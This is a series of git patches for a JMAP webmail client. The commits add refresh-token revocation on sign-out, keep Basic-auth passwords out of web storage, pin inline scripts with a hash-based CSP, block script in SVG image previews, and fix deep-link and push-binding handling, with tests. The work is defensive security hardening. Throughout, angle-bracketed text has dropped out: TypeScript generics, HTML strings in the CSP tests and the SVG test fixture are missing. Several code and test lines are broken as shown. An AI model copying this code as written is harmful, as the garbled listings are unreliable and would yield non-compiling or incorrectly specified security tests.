auth and kept the password in sessionStorage. The password is now only kept for the tab when the server has no token login at all (or cannot be reached for it); otherwise the Basic session lives in memory and a reload asks to sign in again. --- app/(main)/[locale]/login/page.tsx | 1 + lib/auth/lite-oauth.ts | 12 +++- lib/auth/lite-tokens.ts | 80 ++++++++++++++++++++++++ stores/__tests__/auth-store-lite.test.ts | 57 ++++++++++++++++- stores/auth-store.ts | 25 +++++--- 5 files changed, 164 insertions(+), 11 deletions(-) diff --git a/app/(main)/[locale]/login/page.tsx b/app/(main)/[locale]/login/page.tsx index 1546e80c0..17a6bbd8b 100644 --- a/app/(main)/[locale]/login/page.tsx +++ b/app/(main)/[locale]/login/page.tsx @@ -685,6 +685,7 @@ function LoginPageContent() { clientId, redirectUri, persistent: rememberMeEnabled && rememberMe, + revocationEndpoint: discovery.metadata.revocation_endpoint, }); const authUrl = new URL(discovery.metadata.authorization_endpoint); diff --git a/lib/auth/lite-oauth.ts b/lib/auth/lite-oauth.ts index 818959204..de06ac829 100644 --- a/lib/auth/lite-oauth.ts +++ b/lib/auth/lite-oauth.ts @@ -220,6 +220,8 @@ export interface LiteOAuthFlow { redirectUri: string; /** "Remember me" was ticked: keep the refresh token across browser restarts. */ persistent: boolean; + /** Where sign-out revokes the refresh token, when discovery named it. */ + revocationEndpoint?: string; } export function saveLiteOAuthFlow(flow: LiteOAuthFlow): void { @@ -236,7 +238,15 @@ export function readLiteOAuthFlow(): LiteOAuthFlow | null { const flow = raw ? (JSON.parse(raw) as Partial) : null; if (!flow || typeof flow.tokenEndpoint !== 'string' || typeof flow.clientId !== 'string' || typeof flow.redirectUri !== 'string') return null; if (!flow.tokenEndpoint || !flow.clientId || !flow.redirectUri) return null; - return { tokenEndpoint: flow.tokenEndpoint, clientId: flow.clientId, redirectUri: flow.redirectUri, persistent: flow.persistent === true }; + return { + tokenEndpoint: flow.tokenEndpoint, + clientId: flow.clientId, + redirectUri: flow.redirectUri, + persistent: flow.persistent === true, + ...(typeof flow.revocationEndpoint === 'string' && flow.revocationEndpoint + ? { revocationEndpoint: flow.revocationEndpoint } + : {}), + }; } catch { return null; } diff --git a/lib/auth/lite-tokens.ts b/lib/auth/lite-tokens.ts index b6610ba82..b10e13946 100644 --- a/lib/auth/lite-tokens.ts +++ b/lib/auth/lite-tokens.ts @@ -77,6 +77,8 @@ interface StoredRefreshToken { * to (lib/auth/lite-oauth.ts) is refreshed at that provider. */ tokenEndpoint?: string; + /** RFC 7009 endpoint that revokes the token on sign-out, when discovery named one. */ + revocationEndpoint?: string; } interface StoredBasicSession { @@ -194,6 +196,84 @@ export function clearLiteSlot(slot: number): void { clearLiteBasicSession(slot); } +// --------------------------------------------------------------------------- +// Revocation +// --------------------------------------------------------------------------- + +// Sign-out waits for this, so an unresponsive endpoint must not hold it up. +const REVOCATION_TIMEOUT_MS = 3000; + +/** The revocation endpoint a Stalwart server advertises, if any. */ +async function discoverRevocationEndpoint(serverUrl: string): Promise { + for (const path of ['/.well-known/oauth-authorization-server', '/.well-known/openid-configuration']) { + try { + const response = await fetch(`${serverUrl}${path}`, { signal: AbortSignal.timeout(REVOCATION_TIMEOUT_MS) }); + if (!response.ok) continue; + const endpoint = ((await response.json()) as { revocation_endpoint?: unknown }).revocation_endpoint; + return typeof endpoint === 'string' && /^https?:\/\//.test(endpoint) ? endpoint : null; + } catch { + // Try the next document. + } + } + return null; +} + +async function revokeRefreshToken(entry: StoredRefreshToken): Promise { + // A token from an external provider is only revoked where its own + // discovery said; Stalwart's own tokens can be looked up. + const endpoint = entry.revocationEndpoint + ?? (entry.tokenEndpoint ? null : await discoverRevocationEndpoint(trimUrl(entry.serverUrl))); + if (!endpoint) return; + try { + await fetch(endpoint, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: new URLSearchParams({ + token: entry.refreshToken, + token_type_hint: 'refresh_token', + client_id: entry.clientId || getLiteClientId(), + }).toString(), + signal: AbortSignal.timeout(REVOCATION_TIMEOUT_MS), + // Finishes even when sign-out navigates away first. + keepalive: true, + redirect: 'error', + }); + } catch { + // Best effort: the token is gone from this browser either way. + } +} + +/** + * Sign a slot out: forget its credentials at once, then revoke its refresh + * token so a copy taken from this browser's storage stops working too. + */ +export async function revokeLiteSlot(slot: number): Promise { + const entry = readLiteRefreshToken(slot); + clearLiteSlot(slot); + if (entry) await revokeRefreshToken(entry); +} + +/** {@link revokeLiteSlot} for every slot. */ +export async function revokeAllLiteSessions(): Promise { + const entries: StoredRefreshToken[] = []; + for (const kind of ['local', 'session'] as const) { + const store = storage(kind); + if (!store) continue; + try { + for (let i = 0; i < store.length; i++) { + const key = store.key(i); + if (!key?.startsWith(REFRESH_KEY_PREFIX)) continue; + const entry = readJson(store, key); + if (entry && typeof entry.refreshToken === 'string' && entry.refreshToken) entries.push(entry); + } + } catch { + continue; + } + } + clearAllLiteSessions(); + await Promise.all(entries.map(revokeRefreshToken)); +} + export function clearAllLiteSessions(): void { for (const kind of ['local', 'session'] as const) { const store = storage(kind); diff --git a/stores/__tests__/auth-store-lite.test.ts b/stores/__tests__/auth-store-lite.test.ts index edcb104eb..286c9184e 100644 --- a/stores/__tests__/auth-store-lite.test.ts +++ b/stores/__tests__/auth-store-lite.test.ts @@ -30,14 +30,33 @@ function jsonResponse(body: unknown, status = 200): Response { * config/policy files, and fails on anything else - in particular on any * /api/ route of our own origin. `calls` lists the mail-server requests. */ -function stalwartFetch(options: { loginAnswer?: unknown; refreshAnswer?: () => Response; loginStatus?: number } = {}) { +function stalwartFetch(options: { + loginAnswer?: unknown; + refreshAnswer?: () => Response; + loginStatus?: number; + /** Advertise an RFC 7009 revocation endpoint in the metadata document. */ + revocation?: boolean; +} = {}) { const calls: string[] = []; + const revoked: string[] = []; const mock = vi.fn(async (input: FetchInput, init?: FetchInit) => { const url = String(input); if (url === '/config.json') return jsonResponse({ jmapServerUrl: SERVER }); if (url === '/policy.json') return jsonResponse({}); if (url.startsWith('/')) throw new Error(`Lite must not call its own origin: ${url}`); + // Sign-out looks the revocation endpoint up; not counted in `calls`, as + // a sign-out in one test's cleanup may still be looking when the next + // test starts. + if (url.startsWith(`${SERVER}/.well-known/`)) { + return options.revocation + ? jsonResponse({ issuer: SERVER, revocation_endpoint: `${SERVER}/auth/revoke` }) + : new Response('not found', { status: 404 }); + } calls.push(`${init?.method ?? 'GET'} ${url}`); + if (url === `${SERVER}/auth/revoke`) { + revoked.push(new URLSearchParams(String(init?.body)).get('token') ?? ''); + return new Response(null, { status: 200 }); + } if (url === `${SERVER}/api/auth`) { if (options.loginStatus) return new Response('nope', { status: options.loginStatus }); return jsonResponse(options.loginAnswer ?? { type: 'authenticated', client_code: 'CODE' }); @@ -52,7 +71,7 @@ function stalwartFetch(options: { loginAnswer?: unknown; refreshAnswer?: () => R throw new Error(`unexpected fetch ${url}`); }); vi.stubGlobal('fetch', mock); - return { mock, calls }; + return { mock, calls, revoked }; } function liteStorageKeys(): string[] { @@ -225,6 +244,17 @@ describe('auth-store in the static Lite build', () => { expect(connectSpy).not.toHaveBeenCalled(); }); + it('keeps no password in web storage when token login exists but failed', async () => { + stalwartFetch({ loginStatus: 500 }); + + const ok = await useAuthStore.getState().login(SERVER, 'alice', 'pw', undefined, true); + + expect(ok).toBe(true); + expect(useAuthStore.getState().authMode).toBe('basic'); + expect(readLiteBasicSession(0)).toBeNull(); + expect(liteStorageKeys()).toEqual([]); + }); + it('falls back to Basic auth with a tab-scoped session when the server has no token login', async () => { const { calls } = stalwartFetch({ loginStatus: 404 }); @@ -304,6 +334,29 @@ describe('auth-store in the static Lite build', () => { expect(useAuthStore.getState().isAuthenticated).toBe(false); }); + it('logout revokes the refresh token where the mail server advertises revocation', async () => { + const { calls, revoked } = stalwartFetch({ revocation: true }); + await useAuthStore.getState().login(SERVER, 'alice', 'pw', undefined, true); + calls.length = 0; + + await useAuthStore.getState().logout(); + + expect(calls).toEqual([`POST ${SERVER}/auth/revoke`]); + expect(revoked).toEqual(['RT-1']); + expect(readLiteRefreshToken(0)).toBeNull(); + }); + + it('logoutAll revokes every slot\'s refresh token', async () => { + saveLiteRefreshToken(0, { serverUrl: SERVER, username: 'a', refreshToken: 'r0' }, true); + saveLiteRefreshToken(1, { serverUrl: SERVER, username: 'b', refreshToken: 'r1' }, false); + const { revoked } = stalwartFetch({ revocation: true }); + + await useAuthStore.getState().logoutAll(); + + expect(revoked.sort()).toEqual(['r0', 'r1']); + expect(liteStorageKeys()).toEqual([]); + }); + it('logoutAll clears every Lite slot', async () => { saveLiteRefreshToken(0, { serverUrl: SERVER, username: 'a', refreshToken: 'r0' }, true); saveLiteRefreshToken(1, { serverUrl: SERVER, username: 'b', refreshToken: 'r1' }, false); diff --git a/stores/auth-store.ts b/stores/auth-store.ts index 7b83b6be8..9e6a88d36 100644 --- a/stores/auth-store.ts +++ b/stores/auth-store.ts @@ -29,15 +29,15 @@ import { IS_LITE, IS_LITE_STALWART } from '@/lib/lite'; import { toAsciiEmail } from '@/lib/idn'; import { LiteLoginError, - clearAllLiteSessions, clearLiteRefreshToken, - clearLiteSlot, getLiteClientId, liteExchangeAuthorizationCode, liteRefreshTokens, liteTokenLogin, nameLiteRefreshToken, readLiteBasicSession, + revokeAllLiteSessions, + revokeLiteSlot, saveLiteBasicSession, saveLiteRefreshToken, } from '@/lib/auth/lite-tokens'; @@ -446,6 +446,7 @@ async function exchangeOAuthCode(params: { refreshToken: tokens.refreshToken, clientId: flow.clientId, tokenEndpoint: flow.tokenEndpoint, + revocationEndpoint: flow.revocationEndpoint, }, flow.persistent); } else { clearLiteRefreshToken(slot); @@ -566,7 +567,7 @@ function clearSlotCredentials(slot: number, includeToken: boolean, endSession = closingSlots.add(slot); return clearClosingSlots(new Set([slot]), async () => { if (IS_LITE) { - clearLiteSlot(slot); + await revokeLiteSlot(slot); return null; } const [, token] = await Promise.all([ @@ -586,7 +587,7 @@ function clearAllCredentials(endSessionSlot: number | null): Promise { if (IS_LITE) { - clearAllLiteSessions(); + await revokeAllLiteSessions(); return null; } const endSession = endSessionSlot === null ? '' : `&end_session_slot=${endSessionSlot}`; @@ -1228,6 +1229,10 @@ export const useAuthStore = create()( let client: JMAPClient; let upgradedToOAuth = false; + // Lite keeps a Basic password for the tab only when the server has + // no token login to use instead; a token login that failed for + // another reason must not leave the password in web storage. + let tokenLoginUnavailable = false; let oauthAccessToken: string | null = null; let oauthExpiresIn = 0; @@ -1263,6 +1268,7 @@ export const useAuthStore = create()( oauthExpiresIn = expires_in; debug.log('auth', 'TOTP login exchanged for token-based auth (has_refresh_token=' + has_refresh_token + ')'); } else { + if (tokenRes.status === 404) tokenLoginUnavailable = true; const errorBody = await tokenRes.json().catch(() => ({ error: 'unknown' })); // A correct password with a missing/invalid MFA token surfaces as // a TOTP prompt rather than a generic failure. @@ -1273,6 +1279,8 @@ export const useAuthStore = create()( } } catch (err) { if (err instanceof Error && err.message === 'TOTP_REQUIRED') throw err; + // Unreachable (a server without /api/auth rarely answers CORS). + tokenLoginUnavailable = true; debug.warn('auth', 'TOTP login exchange error, trying legacy basic auth:', err); } @@ -1324,10 +1332,11 @@ export const useAuthStore = create()( // write and stalwart-context write are best-effort persistence; the // outer login still succeeds even if they log a warning. Errors are // caught locally so Promise.all doesn't reject on either. - // In Lite a Basic session is always kept for the tab (sessionStorage), - // so a reload does not sign the user out; the regular build only - // writes the cookie when the user asked to be remembered. - const sessionWrite: Promise = ((rememberMe || IS_LITE) && !upgradedToOAuth) + // In Lite a Basic session is kept for the tab (sessionStorage) on a + // server without token login, so a reload does not sign the user + // out; the regular build only writes the cookie when the user asked + // to be remembered. + const sessionWrite: Promise = ((IS_LITE ? tokenLoginUnavailable : rememberMe) && !upgradedToOAuth) ? persistBasicSession(cookieSlot, serverUrl, username, password) : Promise.resolve(); From 6ff94d439e558af22cc7df3e3210253553f35aa7 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 17:27:00 +0200 Subject: [PATCH 084/358] fix: pin Lite pages to their own inline scripts and guard the Stalwart bundle The static export's header policy has to allow inline scripts (the hydration scripts differ per page and one header cannot list them all), so any injected inline script ran. The Stalwart bundle had no policy at all: Stalwart sends no security headers for an Application, and nothing stopped another site from framing it. - Postbuild gives every page of the static target a `` CSP that allows exactly the page's own inline scripts; enforced together with the host's header, it takes away `'unsafe-inline'`. `verify` fails a page whose inline scripts are not all pinned. - The Stalwart entry document carries a `` CSP (no plugins, eval, foreign scripts or moved ``; its shells are rewritten at runtime, so hashes are not possible there) and refuses to run inside a frame of another origin. - The nginx and Caddy examples send the same CSP as `_headers`. --- lib/__tests__/lite-scripts.test.ts | 53 ++++++++++++++++++++ scripts/lite/lib.mjs | 80 ++++++++++++++++++++++++++++-- scripts/lite/postbuild.mjs | 31 ++++++++++-- scripts/lite/verify.mjs | 16 +++++- 4 files changed, 172 insertions(+), 8 deletions(-) diff --git a/lib/__tests__/lite-scripts.test.ts b/lib/__tests__/lite-scripts.test.ts index f8b5bbc05..8f301e8f4 100644 --- a/lib/__tests__/lite-scripts.test.ts +++ b/lib/__tests__/lite-scripts.test.ts @@ -1,4 +1,5 @@ import { describe, expect, it } from 'vitest'; +import { createHash } from 'node:crypto'; import { mkdtempSync, mkdirSync, writeFileSync, readFileSync, rmSync, existsSync } from 'node:fs'; import { tmpdir } from 'node:os'; import { join } from 'node:path'; @@ -24,7 +25,9 @@ import { buildReadme, buildRedirects, buildRootRedirect, + buildScriptHashCsp, buildStalwartEntry, + buildStalwartEntryCsp, buildStalwartManifest, buildStalwartReadme, buildZip, @@ -36,6 +39,7 @@ import { findSegmentPrefetchDirs, flightTextRowsWithNeedles, inlineJson, + inlineScriptHashes, installStalwartFetchShim, isReservedStalwartSegment, listZipEntries, @@ -54,6 +58,7 @@ import { stalwartRewriteIndex, stalwartZipEntryProblems, unexpectedApiStrings, + withScriptHashCsp, } from '../../scripts/lite/lib.mjs'; import { collectTestPaths, planRemovals, runPrepare } from '../../scripts/lite/prepare.mjs'; import { runPostbuild } from '../../scripts/lite/postbuild.mjs'; @@ -160,6 +165,35 @@ describe('lite build helpers', () => { expect(buildHeaders({ basePath: '/w', connectSrc: '*' })).toMatch(/^\/w\/\*/); }); + // The header policy has to allow inline scripts (the export ships hydration + // scripts and one header cannot list every page's hashes); each page pins + // its own inline scripts with a policy enforced alongside it. + it('pins each page to its own inline scripts', () => { + const sha = (text: string) => `'sha256-${createHash('sha256').update(text).digest('base64')}'`; + const html = [ + 'x', + '', + '', + '', + '', + '', + ].join(''); + + expect(inlineScriptHashes(html)).toEqual([ + sha('self.__next_f.push([1,"a"])'), + sha('import("./m.js")'), + sha('\nwindow.x = 1;\n'), + ]); + + const pinned = withScriptHashCsp(html); + const meta = ``; + expect(pinned.indexOf(meta)).toBe(pinned.indexOf('') + ''.length); + expect(pinned.indexOf(meta)).toBeLessThan(pinned.indexOf('')).toMatch(/^')).toMatch(/^]*>'; + +let created: Blob[]; + +beforeEach(() => { + created = []; + vi.spyOn(URL, 'createObjectURL').mockImplementation((blob) => { + created.push(blob as Blob); + return 'blob:test'; + }); + vi.spyOn(URL, 'revokeObjectURL').mockImplementation(() => {}); +}); + +afterEach(() => { + vi.restoreAllMocks(); +}); + +async function previewSrc(name: string, contentType: string, bytes: BlobPart): Promise { + render( + {}} + onDownload={() => {}} + getFileContent={async () => ({ blob: new Blob([bytes], { type: contentType }), contentType })} + />, + ); + return (await screen.findByAltText(name)).getAttribute('src') ?? ''; +} + +describe('FilePreviewModal image URLs', () => { + it('shows an SVG from a data: URL, never a same-origin object URL', async () => { + const src = await previewSrc('drawing.svg', 'image/svg+xml', SVG); + expect(src.startsWith('data:image/svg+xml;base64,')).toBe(true); + expect(created).toEqual([]); + expect(screen.queryByLabelText('open_in_new_tab')).toBeNull(); + }); + + it('retypes HTML declared on an image name to something no browser runs', async () => { + expect(await previewSrc('drawing.svg', 'text/html', '')).toBe('blob:test'); + expect(created.map((b) => b.type)).toEqual(['application/octet-stream']); + }); + + it('keeps raster images as object URLs of their own type', async () => { + expect(await previewSrc('photo.png', 'image/png', new Uint8Array([137, 80, 78, 71]))).toBe('blob:test'); + expect(created.map((b) => b.type)).toEqual(['image/png']); + expect(screen.getByLabelText('open_in_new_tab')).toBeTruthy(); + }); +}); diff --git a/components/files/file-preview-modal.tsx b/components/files/file-preview-modal.tsx index 556981550..9d89c45f4 100644 --- a/components/files/file-preview-modal.tsx +++ b/components/files/file-preview-modal.tsx @@ -4,7 +4,7 @@ import { useState, useEffect, useRef } from "react"; import { useTranslations } from "next-intl"; import { X, Download, Loader2, ExternalLink } from "@/components/icons"; import { Button } from "@/components/ui/button"; -import { getFilePreviewKind, isMimeTypeSafeForInlinePreview, previewBlobType } from "@/lib/file-preview"; +import { getFilePreviewKind, imageBlobUrl, isMimeTypeSafeForInlinePreview, previewBlobType } from "@/lib/file-preview"; import dynamic from "next/dynamic"; import { EmlPreview, type ParsedEml } from "@/components/files/eml-preview"; @@ -215,12 +215,20 @@ export function FilePreviewModal({ name, onClose, onDownload, getFileContent }: const typedBlob = blob.type !== effectiveType ? new Blob([blob], { type: effectiveType }) : blob; - revokeUrl = URL.createObjectURL(typedBlob); - if (!cancelled) { - setObjectUrl(revokeUrl); - setCanOpenInNewTab(isMimeTypeSafeForInlinePreview(effectiveType)); - if (previewType === "pdf") setPdfBlob(typedBlob); + // "Open image in new tab" loads the URL as a document of its + // own, so an image gets one that stays inert there: a sender's SVG + // must not run script as the webmail origin (GHSA-xvjh-v9c6-qcvc). + const url = previewType === "image" + ? await imageBlobUrl(typedBlob) + : URL.createObjectURL(typedBlob); + if (cancelled) { + URL.revokeObjectURL(url); + return; } + revokeUrl = url; + setObjectUrl(url); + setCanOpenInNewTab(isMimeTypeSafeForInlinePreview(effectiveType)); + if (previewType === "pdf") setPdfBlob(typedBlob); } } catch { if (!cancelled) setError(true); From 1c5dbbcd0bb2a563d79fceca8d4e5bc34505ab39 Mon Sep 17 00:00:00 2001 From: lucamzanon Date: Thu, 24 Sep 2026 07:09:08 +0200 Subject: [PATCH 144/358] fix: let a link wait for a mailbox that is still reconnecting A notification tapped with the app closed reopens it on a link that names its mailbox (`?slot=`). The browser reconnects its logins one at a time, so that mailbox is often not connected yet when the link is read: with ten logins, one on the Gmail bridge came back at 3.3 s and the link was judged at 1.8 s. It was declared unavailable - "sign in to that account to open this link" - and the app stayed on whichever mailbox was active. Wait for the login instead, and give up only when it is not one of this browser's logins, its restore fails, or 20 s go by. --- components/mail/mail-app.tsx | 10 +-- .../account-store-wait-connected.test.ts | 69 +++++++++++++++++++ stores/account-store.ts | 35 ++++++++++ 3 files changed, 109 insertions(+), 5 deletions(-) create mode 100644 stores/__tests__/account-store-wait-connected.test.ts diff --git a/components/mail/mail-app.tsx b/components/mail/mail-app.tsx index 58d9c20a3..2a91dbcc4 100644 --- a/components/mail/mail-app.tsx +++ b/components/mail/mail-app.tsx @@ -26,7 +26,7 @@ import { ProtocolAccountPicker } from "@/components/protocol/protocol-account-pi import { ThreadConversationView } from "@/components/email/thread-conversation-view"; import { MobileHeader } from "@/components/layout/mobile-header"; import { ThreadGroup, Email, Mailbox, isUnifiedMailboxId, UNIFIED_ROLE_BY_ID, CROSS_VIEW_BY_ID, isCrossViewId } from "@/lib/jmap/types"; -import { useAccountStore } from "@/stores/account-store"; +import { useAccountStore, waitForConnectedAccount } from "@/stores/account-store"; import { usePolicyStore } from "@/stores/policy-store"; import type { UnifiedAccountClient } from "@/lib/unified-mailbox"; import { connectedAccountsGrew } from "@/lib/unified-mailbox"; @@ -1375,10 +1375,10 @@ export function MailApp({ linkSegments: routeSegments }: MailAppProps = {}) { : undefined); const switchesAccount = !!linkAccountId && linkAccountId !== useAuthStore.getState().activeAccountId; if (switchesAccount) { - const target = useAccountStore.getState().accounts.find( - (a) => a.id === linkAccountId && a.isConnected, - ); - if (!target) { + // The login may still be reconnecting - a tapped notification reopens + // the app and the logins come back one at a time - so wait for it + // rather than calling a late mailbox unavailable. + if (!(await waitForConnectedAccount(linkAccountId))) { toast.error(t('deep_link.account_unavailable')); return; } diff --git a/stores/__tests__/account-store-wait-connected.test.ts b/stores/__tests__/account-store-wait-connected.test.ts new file mode 100644 index 000000000..45380877f --- /dev/null +++ b/stores/__tests__/account-store-wait-connected.test.ts @@ -0,0 +1,69 @@ +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { useAccountStore, waitForConnectedAccount } from '../account-store'; + +/** + * A tapped notification reopens the app and names a mailbox; the logins come + * back one at a time, so that mailbox is often not connected yet when the + * link is read. The wait must tell "late" from "never". + */ +function seed(accounts: Array<{ id: string; isConnected: boolean; hasError?: boolean }>) { + useAccountStore.setState({ + accounts: accounts.map((a) => ({ + id: a.id, + cookieSlot: 0, + username: a.id, + serverUrl: 'https://mail.example.org', + displayName: a.id, + email: a.id, + avatarColor: '#123456', + rememberMe: true, + isConnected: a.isConnected, + hasError: a.hasError ?? false, + isDefault: false, + lastLoginAt: 0, + label: a.id, + authMode: 'basic', + })) as never, + }); +} + +const connect = (id: string, patch: Record) => + useAccountStore.setState((s) => ({ + accounts: s.accounts.map((a) => (a.id === id ? { ...a, ...patch } : a)), + })); + +describe('waitForConnectedAccount', () => { + beforeEach(() => vi.useFakeTimers()); + afterEach(() => vi.useRealTimers()); + + it('answers at once for a login already connected', async () => { + seed([{ id: 'a', isConnected: true }]); + await expect(waitForConnectedAccount('a')).resolves.toBe(true); + }); + + it('waits for a login that is still reconnecting', async () => { + seed([{ id: 'a', isConnected: true }, { id: 'late', isConnected: false }]); + const waiting = waitForConnectedAccount('late'); + connect('late', { isConnected: true }); + await expect(waiting).resolves.toBe(true); + }); + + it('gives up on a login this browser does not have', async () => { + seed([{ id: 'a', isConnected: true }]); + await expect(waitForConnectedAccount('stranger')).resolves.toBe(false); + }); + + it('gives up when the login fails to reconnect', async () => { + seed([{ id: 'broken', isConnected: false }]); + const waiting = waitForConnectedAccount('broken'); + connect('broken', { hasError: true }); + await expect(waiting).resolves.toBe(false); + }); + + it('gives up after the timeout rather than waiting forever', async () => { + seed([{ id: 'stuck', isConnected: false }]); + const waiting = waitForConnectedAccount('stuck', 5_000); + vi.advanceTimersByTime(5_001); + await expect(waiting).resolves.toBe(false); + }); +}); diff --git a/stores/account-store.ts b/stores/account-store.ts index 7c8082a0c..c903e1800 100644 --- a/stores/account-store.ts +++ b/stores/account-store.ts @@ -251,3 +251,38 @@ export const useAccountStore = create()( } ) ); + +/** + * Resolves once the login `accountId` is connected, or with `false` when it + * never will be: not one of this browser's logins, its restore failed, or + * `timeoutMs` went by. + * + * A link can arrive while the browser is still reconnecting its logins - a + * notification tapped with the app closed does exactly that - and they come + * back one at a time, so the mailbox a link names is often not connected yet + * when the link is read. Treating "not yet" as "unavailable" sent the user to + * the wrong mailbox with an error; this waits for the login instead. + */ +export function waitForConnectedAccount(accountId: string, timeoutMs = 20_000): Promise { + const settled = (account: AccountEntry | undefined): boolean | null => { + if (!account) return false; + if (account.isConnected) return true; + if (account.hasError) return false; + return null; + }; + const now = settled(useAccountStore.getState().accounts.find((a) => a.id === accountId)); + if (now !== null) return Promise.resolve(now); + + return new Promise((resolve) => { + const finish = (value: boolean) => { + clearTimeout(timer); + unsubscribe(); + resolve(value); + }; + const timer = setTimeout(() => finish(false), timeoutMs); + const unsubscribe = useAccountStore.subscribe((state) => { + const result = settled(state.accounts.find((a) => a.id === accountId)); + if (result !== null) finish(result); + }); + }); +} From 1d82c594693ac092bac7e9242dfce6fce3552833 Mon Sep 17 00:00:00 2001 From: lucamzanon Date: Thu, 24 Sep 2026 07:14:48 +0200 Subject: [PATCH 145/358] fix: resolve a folder link against the mailbox it switched to Once a link had waited for its login and switched to it, the folder was looked up at once, in a store that still held the previous mailbox's folders or none at all: an inbox link opened on a mailbox that was just switched to reported "this folder is no longer available". Wait for the new mailbox's folder list to arrive before resolving the link against it. --- components/mail/mail-app.tsx | 33 ++++++++++++++++++++++++++++++++- 1 file changed, 32 insertions(+), 1 deletion(-) diff --git a/components/mail/mail-app.tsx b/components/mail/mail-app.tsx index 2a91dbcc4..24cc30190 100644 --- a/components/mail/mail-app.tsx +++ b/components/mail/mail-app.tsx @@ -134,6 +134,30 @@ export interface MailAppProps { linkSegments?: string[]; } + +/** + * The folder list once it has been reloaded after an account switch. Until + * then the store holds the previous mailbox's folders, or none, and resolving + * a folder link against them reports a folder that is merely not loaded yet + * as gone - or, worse, finds the previous mailbox's folder of that name. + */ +function freshMailboxes(previous: Mailbox[], timeoutMs = 10_000): Promise { + const ready = (mailboxes: Mailbox[]) => mailboxes !== previous && mailboxes.length > 0; + const now = useEmailStore.getState().mailboxes; + if (ready(now)) return Promise.resolve(now); + return new Promise((resolve) => { + const finish = (mailboxes: Mailbox[]) => { + clearTimeout(timer); + unsubscribe(); + resolve(mailboxes); + }; + const timer = setTimeout(() => finish(useEmailStore.getState().mailboxes), timeoutMs); + const unsubscribe = useEmailStore.subscribe((state) => { + if (ready(state.mailboxes)) finish(state.mailboxes); + }); + }); +} + export function MailApp({ linkSegments: routeSegments }: MailAppProps = {}) { // Static Lite build: the route params are empty, read the link from the URL. const linkSegments = useLiteLinkSegments('mail', routeSegments); @@ -1366,6 +1390,9 @@ export function MailApp({ linkSegments: routeSegments }: MailAppProps = {}) { // this, the URL is an output of the view (see buildMailUrl), not an input. const deepLinkHandledRef = useRef(false); const applyMailDeepLink = async (link: MailDeepLink, opts?: { onLoad?: boolean }) => { + // The folder list before an account switch, if one happened: until the + // new mailbox's folders arrive the store still holds these (or nothing). + let switchedFrom: Mailbox[] | null = null; // A permalink can name the account it belongs to. Ids are only meaningful // within their account, so switch first - but only to a login that is // actually connected; we can't authenticate on someone's behalf. A push @@ -1382,6 +1409,7 @@ export function MailApp({ linkSegments: routeSegments }: MailAppProps = {}) { toast.error(t('deep_link.account_unavailable')); return; } + switchedFrom = useEmailStore.getState().mailboxes; await switchAccount(linkAccountId); } @@ -1389,8 +1417,11 @@ export function MailApp({ linkSegments: routeSegments }: MailAppProps = {}) { if (!activeClient) return; if (link.kind === 'folder') { + const mailboxes = switchedFrom + ? await freshMailboxes(switchedFrom) + : useEmailStore.getState().mailboxes; const state = useEmailStore.getState(); - const mailboxId = resolveFolderRef(link.ref, state.mailboxes); + const mailboxId = resolveFolderRef(link.ref, mailboxes); if (!mailboxId) { toast.error(t('deep_link.folder_not_found')); return; From 2d5756bff7e05a5a8206f2e29e2fde76c63a5167 Mon Sep 17 00:00:00 2001 From: lucamzanon Date: Wed, 30 Sep 2026 11:53:40 +0200 Subject: [PATCH 146/358] perf(push): reconcile push bindings instead of rebuilding them The push effect re-runs every time a login connects, which while a browser with many logins restores means once per account. Each run closed every client's push and set it up again: the live streams were torn down and reopened and every slow poll re-primed its baseline with a full state read (Mailbox, Email, Calendar, CalendarEvent, SieveScript) - quadratic in the number of accounts. With ten logins that was 21 stream openings and about 180 state-poll methods in the first seconds. Reconcile instead: bind the clients that are new, unbind the ones that are gone, and on an account switch re-bind only the two logins whose role changed, handing the live stream to the newly active one when it has none. Handlers are read through a ref at event time, so a binding never has to be re-created because a callback changed identity. The reconciliation is a pure function (lib/push-bindings.ts) with its own tests; the effect only supplies the callbacks. --- components/mail/mail-app.tsx | 102 ++++++++++++++------------ lib/__tests__/push-bindings.test.ts | 108 +++++++++++++++++++++++++++ lib/push-bindings.ts | 109 ++++++++++++++++++++++++++++ 3 files changed, 272 insertions(+), 47 deletions(-) create mode 100644 lib/__tests__/push-bindings.test.ts create mode 100644 lib/push-bindings.ts diff --git a/components/mail/mail-app.tsx b/components/mail/mail-app.tsx index 58d9c20a3..03f44784c 100644 --- a/components/mail/mail-app.tsx +++ b/components/mail/mail-app.tsx @@ -25,7 +25,7 @@ const EmailComposer = dynamic( import { ProtocolAccountPicker } from "@/components/protocol/protocol-account-picker"; import { ThreadConversationView } from "@/components/email/thread-conversation-view"; import { MobileHeader } from "@/components/layout/mobile-header"; -import { ThreadGroup, Email, Mailbox, isUnifiedMailboxId, UNIFIED_ROLE_BY_ID, CROSS_VIEW_BY_ID, isCrossViewId } from "@/lib/jmap/types"; +import { ThreadGroup, Email, Mailbox, type StateChange, isUnifiedMailboxId, UNIFIED_ROLE_BY_ID, CROSS_VIEW_BY_ID, isCrossViewId } from "@/lib/jmap/types"; import { useAccountStore } from "@/stores/account-store"; import { usePolicyStore } from "@/stores/policy-store"; import type { UnifiedAccountClient } from "@/lib/unified-mailbox"; @@ -34,7 +34,8 @@ import { KeyboardShortcutsModal } from "@/components/keyboard-shortcuts-modal"; import { useEmailStore, buildUnifiedAccountClients, captureViewToken, ArchiveMailboxNotFoundError, findArchiveMailbox, resolveUnstampedEmailAccountId, emptyFolderMovesToTrash } from "@/stores/email-store"; import { groupSearchScopeFolders, SEARCH_SCOPE_ALL_FOLDERS } from "@/lib/search-scope-folders"; import { toast } from "@/stores/toast-store"; -import { formatRejectedRecipients } from "@/lib/jmap/client"; +import { formatRejectedRecipients, type JMAPClient } from "@/lib/jmap/client"; +import { reconcilePushBindings, releasePushBindings, type PushBinding } from "@/lib/push-bindings"; import { runBatchEmailAction } from "@/lib/email-action-toast"; import { MailboxShareDialog } from "@/components/layout/mailbox-share-dialog"; import { ShareNotificationToaster } from "@/components/layout/share-notification-toaster"; @@ -1257,59 +1258,66 @@ export function MailApp({ linkSegments: routeSegments }: MailAppProps = {}) { return () => clearTimeout(id); }, []); - // Push notifications: set up once per CONNECTED client and tear down when the - // clients go away (logout or account switch). Kept separate from the fetch - // effect above so it still runs when data was prefetched at login time. + // Push notifications: one binding per CONNECTED client, kept for as long as + // that client is connected. // // We 